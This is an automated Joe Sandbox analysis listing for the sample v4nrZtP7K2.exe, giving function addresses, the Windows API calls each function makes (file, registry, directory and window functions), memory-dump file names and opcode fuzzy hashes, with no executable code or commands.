Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction ID: fb1d02f26201205f5bfcbd3029eb7cfad7cca69a3f8c46de7b35964bdd0c3f7d
Opcode Fuzzy Hash: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction Fuzzy Hash: 18814571E04228DFDF24CFA8C844BADBBB1FB45305F24816AD856BB291C7389986DF45

Function 00406943 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction ID: 55fc176551b00f8465723d30588461dcf2fc1d3195b414c524ee7a2fcbdbe87b
Opcode Fuzzy Hash: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction Fuzzy Hash: 39815971E04228DBEF24CFA8C844BADBBB1FB45305F14816AD856BB2C1C7786986DF45

Function 00406D91 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction ID: 7645ab34ef40ba223d211dbe726f8302725d3f31b3e808d93cc70016d3e0d248
Opcode Fuzzy Hash: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction Fuzzy Hash: 10711471E04228DBDF24CF98C8447ADBBB1FF49305F15806AD856BB281C7389A86DF45

Function 00406EAF Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction ID: a4e19b7408f2815589132e7e2b866ae2b9c8caa40868d81b8a4623295251dea3
Opcode Fuzzy Hash: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction Fuzzy Hash: 0D712571E04218DBEF28CF98C844BADBBB1FF45305F15806AD856BB281C7389986DF45

Function 00406DFB Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction ID: 979076adb26e5f1e3e7a9458f232081f51f9a0722543042d1d726f4d31452a21
Opcode Fuzzy Hash: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction Fuzzy Hash: 50714871E04228DBEF28CF98C8447ADBBB1FF45305F15806AD856BB281C7386A46DF45

Function 004032DE Relevance: 4.6, APIs: 3, Instructions: 101COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004032F2

Part of subcall function 0040345D: SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040315B,?), ref: 0040346B

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,00403208,00000004,00000000,00000000,?,?,00403182,000000FF,00000000,00000000,0040A230,?), ref: 00403325
SetFilePointer.KERNELBASE(00178261,00000000,00000000,00414ED0,00004000,?,00000000,00403208,00000004,00000000,00000000,?,?,00403182,000000FF,00000000), ref: 00403420

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: FilePointer$CountTick
String ID:
API String ID: 1092082344-0
Opcode ID: 46bf3b49fb3124b20b26849d3f96ebab8958347a080c85236d637af58840fa95
Instruction ID: a2c2ae871b20a7f651e14226ae934804f023725c52e887911cb1b1382089a511
Opcode Fuzzy Hash: 46bf3b49fb3124b20b26849d3f96ebab8958347a080c85236d637af58840fa95
Instruction Fuzzy Hash: 54313872610215DBD721DF29EEC496A3BA9F74039A754433FE900F62E0CBB99D018B9D

Function 004024F8 Relevance: 4.5, APIs: 3, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 0040252B
RegEnumValueW.ADVAPI32(00000000,00000000,?,?), ref: 0040253E
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsrBE9D.tmp,00000000,00000011,00000002), ref: 00402557

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: 962e8dbebea2d0e856bbe812d5e95e45bdf7d67f5620c7d5b12d357826d7025c
Instruction ID: 69a0bd767b5398a5b54c194fc83da7942780fa4e63ecbf8b5358c30743fc2944
Opcode Fuzzy Hash: 962e8dbebea2d0e856bbe812d5e95e45bdf7d67f5620c7d5b12d357826d7025c
Instruction Fuzzy Hash: 4B017171904204ABEB149F95DE88ABF7AB8EF80348F10403EF505B61D0DAB85E419B69

Function 004031D6 Relevance: 3.1, APIs: 2, Instructions: 88COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,?,?,00403182,000000FF,00000000,00000000,0040A230,?), ref: 004031FB

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 09b1e881bc629fe9623964bcd0dac9c3534a319fde10b4dd95dd132c0a2dd849
Instruction ID: f938e70baf20f89fc7421c1cbc4d65c8cbb1a4a40291e2e844035b0cdbff1196
Opcode Fuzzy Hash: 09b1e881bc629fe9623964bcd0dac9c3534a319fde10b4dd95dd132c0a2dd849
Instruction Fuzzy Hash: 53314B30200219BBDB109F95ED84ADA3E68EB04759F20857EF905E62D0D6789A509BA9

Function 004015C1 Relevance: 3.1, APIs: 2, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405D68: CharNextW.USER32(?,?,00425F30,?,00405DDC,00425F30,00425F30,?,?,76F92EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,76F92EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 0040591F: CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405962

SetCurrentDirectoryW.KERNELBASE(?,00436000,?,00000000,000000F0), ref: 0040164D

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID:
API String ID: 1892508949-0
Opcode ID: c670449cb20163be3cb3cb34affd8c81282aa0e3ca4a40f31796d9e50139b1da
Instruction ID: 0139da5d792eeb989572d84d187c25f91b4f70b2bd1842bf542401118de2a59f
Opcode Fuzzy Hash: c670449cb20163be3cb3cb34affd8c81282aa0e3ca4a40f31796d9e50139b1da
Instruction Fuzzy Hash: 0511E631504511EBCF30AFA4CD4159F36A0EF15329B29453BFA45B22F1DB3E49419B5D

Function 00402484 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(00000000,00000000,?,?,?,?), ref: 004024B5
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsrBE9D.tmp,00000000,00000011,00000002), ref: 00402557

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 63b64fe82c2f511c8169af5ec8c0190f19a921c94039209ad64b866aaad41420
Instruction ID: 8b4d26b48c61f4aea5aea8b01f6eaa690eaa4425e6198d6413393360261ed691
Opcode Fuzzy Hash: 63b64fe82c2f511c8169af5ec8c0190f19a921c94039209ad64b866aaad41420
Instruction Fuzzy Hash: 61119431910205EBDB14DF64CA585AE7BB4EF44348F20843FE445B72D0D6B85A81EB5A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 23ed1533968369fb0e08a97211bc38e5ec6adcca8744e4a1682e6817b2d67833
Instruction ID: 4945fb4554c9d48a14a82d28c5fc4c127f2c3d85d8aa5c2a63fae023cf5e702c
Opcode Fuzzy Hash: 23ed1533968369fb0e08a97211bc38e5ec6adcca8744e4a1682e6817b2d67833
Instruction Fuzzy Hash: AB01F431724210EBEB199B789D04B2A3698E710714F104A7FF855F62F1DA78CC529B5D

Function 0040238E Relevance: 3.0, APIs: 2, Instructions: 39registryCOMMON

Download Yara Rule

APIs

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 004023B0
RegCloseKey.ADVAPI32(00000000), ref: 004023B9

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: CloseDeleteValue
String ID:
API String ID: 2831762973-0
Opcode ID: a00859f013a8106156cc87040160a2b11e5294e3cc8a521d5b70861134e176e9
Instruction ID: 92c71ce55c792e737e0c56b3c5c8c262173643586798c2a655fc457b9e75749a
Opcode Fuzzy Hash: a00859f013a8106156cc87040160a2b11e5294e3cc8a521d5b70861134e176e9
Instruction Fuzzy Hash: 5FF0F632E041109BE700BBA49B8EABE72A49B44314F29003FFE42F31C0CAF85D42976D

Function 00401E49 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401E67
EnableWindow.USER32(00000000,00000000), ref: 00401E72

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 93e3322236d135cf3becb144ab33be47f3bb68365a0b30391c7db73d0d040f31
Instruction ID: b41365517dadb09c69eaf87789fd34eb77fb4a5ff64ddc4fb458d6156a5e0ce1
Opcode Fuzzy Hash: 93e3322236d135cf3becb144ab33be47f3bb68365a0b30391c7db73d0d040f31
Instruction Fuzzy Hash: DFE0DF32E08200CFE724EFA5AA494AD77B4EB80324B20847FF201F11D1CE7858818F6E

Function 004067C2 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

Part of subcall function 00406752: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
Part of subcall function 00406752: wsprintfW.USER32 ref: 004067A4
Part of subcall function 00406752: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004067B8

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 32c59c0b14b548542ecf76b068d43d3c76fab82d66a171b1af570515759e8b4d
Instruction ID: 7b80e99db610fb1a261844a57c40f0e669857592e3492eb3b2a0c0f7ce0b312d
Opcode Fuzzy Hash: 32c59c0b14b548542ecf76b068d43d3c76fab82d66a171b1af570515759e8b4d
Instruction Fuzzy Hash: 14E086325042115BD21057745E48D3762AC9AC4704307843EF556F3041DB78DC35B66E

Function 00405EDE Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402F73,C:\Users\user\Desktop\v4nrZtP7K2.exe,80000000,00000003), ref: 00405EE2
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 133c91a1dbaf88dbfd801214b1c0a7aa23d67a900b7421546c440c33baf3910c
Instruction ID: 5201df1ff3c0a0bd0294a98706b79309786c42e99614e685d4e3591f63f4d9e2
Opcode Fuzzy Hash: 133c91a1dbaf88dbfd801214b1c0a7aa23d67a900b7421546c440c33baf3910c
Instruction Fuzzy Hash: D5D09E31254601AFEF098F20DE16F2E7AA2EB84B04F11552CB7C2940E0DA7158199B15

Function 0040599C Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403498,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,76F93420,004036EF,?,00000006,00000008,0000000A), ref: 004059A2
GetLastError.KERNEL32(?,00000006,00000008,0000000A), ref: 004059B0

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 2a128b8619e21daab1f352946d406dfe7ea7319ba132ee6f2f415100985951e7
Instruction ID: 01a40f06620425e1c555583f7199589d3835b04f5715874dbca4219b9923c3a9
Opcode Fuzzy Hash: 2a128b8619e21daab1f352946d406dfe7ea7319ba132ee6f2f415100985951e7
Instruction Fuzzy Hash: D6C04C71216502DAF7115F31DF09B177A50AB60751F11843AA146E11A4DA349455D92D

Function 6FFB2AAC Relevance: 1.6, APIs: 1, Instructions: 143COMMON

Download Yara Rule

APIs

EnumWindows.USER32(00000000), ref: 6FFB2B6B

Memory Dump Source

Source File: 00000001.00000002.2081342100.000000006FFB1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FFB0000, based on PE: true

Associated: 00000001.00000002.2081095935.000000006FFB0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2081452717.000000006FFB4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2081508923.000000006FFB6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ffb0000_v4nrZtP7K2.jbxd

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: 40f1588549d93ae66ea6bb1ebc0e67c1aa90a6fcfb3a5f7ccba9e8b13b39e1c1
Instruction ID: 282fd618d908342b26007386d3ca226dea16f7d8f9c4ba7661ebc45177995e45
Opcode Fuzzy Hash: 40f1588549d93ae66ea6bb1ebc0e67c1aa90a6fcfb3a5f7ccba9e8b13b39e1c1
Instruction Fuzzy Hash: D241B2B2414705DFCF22EF6AD9C5B493778EF053B8F24446EE404CA3A4DB3AA4959B90

Function 0040167B Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

MoveFileW.KERNEL32(00000000,00000000), ref: 00401696

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
